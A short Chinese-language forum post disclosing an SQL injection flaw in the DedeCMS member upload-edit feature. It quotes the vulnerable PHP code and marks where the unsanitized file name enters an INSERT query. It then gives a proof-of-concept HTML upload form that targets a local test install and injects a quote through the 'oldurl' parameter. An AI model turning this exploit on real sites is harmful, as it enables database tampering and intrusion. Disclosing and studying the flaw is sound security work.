Diana 发表于 2014-2-28 03:04:56

Dedecms 会员中心注入漏洞7

<pre><code>member/upload_edit.php
else if($dopost=='save')
{
    $title = HtmlReplace($title,2);
    if($mediatype==1) $utype = 'image';
    else if($mediatype==2)
    {
      $utype = 'flash';
    }
    else if($mediatype==3)
    {
      $utype = 'media';
    }
    else
    {
      $utype = 'addon';
    }
    $title = HtmlReplace($title, 2);
    $exname = preg_replace("#(.*)/#", "", $oldurl);// 文件名是获取.前面的
    $exname = preg_replace("#\.(.*)$#", "", $exname);
    echo $exname ;
    $filename = MemberUploads('addonfile', $oldurl, $cfg_ml-&gt;M_ID,

$utype,$exname, -1, -1, TRUE);//返回上传的文件名
    SaveUploadInfo($title, $filename, $mediatype);//利用返回的带入查询
    ShowMsg("成功修改文件!", "uploads_edit.php?aid=$aid");
}



function SaveUploadInfo($title,$filename,$medaitype=1,$addinfos='')
{
    global $dsql,$cfg_ml,$cfg_basedir;
    if($filename=='')
    {
      return FALSE;
    }
    if(!is_array($addinfos))
    {
      $addinfos = $addinfos = $addinfos = 0;
    }
    if($medaitype==1)
    {
      $info = '';
      $addinfos = GetImageSize($cfg_basedir.$filename,$info);
    }
    $addinfos = @filesize($cfg_basedir.$filename);
    $row = $dsql-&gt;GetOne("SELECT aid,title,url FROM `#@__uploads` WHERE url

LIKE '$filename' AND mid='".$cfg_ml-&gt;M_ID."'; ");
    $uptime = time();
    if(is_array($row))
    {
      $query = "UPDATE `#@__uploads` SET

title='$title',mediatype='$medaitype',
                     width='{$addinfos}',height='{$addinfos

}',filesize='{$addinfos}',uptime='$uptime'
                     WHERE aid='{$row['aid']}'; ";
      $dsql-&gt;ExecuteNoneQuery($query);
    }
    else
    {
      $inquery = "INSERT INTO `#@__uploads`

(title,url,mediatype,width,height,playtime,filesize,uptime,mid)
         VALUES ('$title','$filename','$medaitype','".$addinfos

."','".$addinfos."','0','".$addinfos."','$uptime','".$cfg_ml-

&gt;M_ID."'); ";echo $inquery ;//注入就在这里发生了!
      $dsql-&gt;ExecuteNoneQuery($inquery);
    }
    $fid = $dsql-&gt;GetLastID();
    AddMyAddon($fid, $filename);
    return TRUE;
}</code></pre>

利用方法
&nbsp;
<pre><code>&lt;form id="frmUpload" enctype="multipart/form-data"

action="http://127.0.0.1/dede/member/uploads_edit.php?

dopost=save&amp;title=ss&amp;oldurl=1'.php" method="post"&gt;看Oldurl就知道了~


&lt;input type="file" name="addonfile" id="addonfile" size="50"&gt;&lt;br&gt;
&lt;input name="mode" type="hidden" value="2"&gt;

&lt;input id="btnUpload" type="submit" value="Upload"&gt;

页: [1]
查看完整版本: Dedecms 会员中心注入漏洞7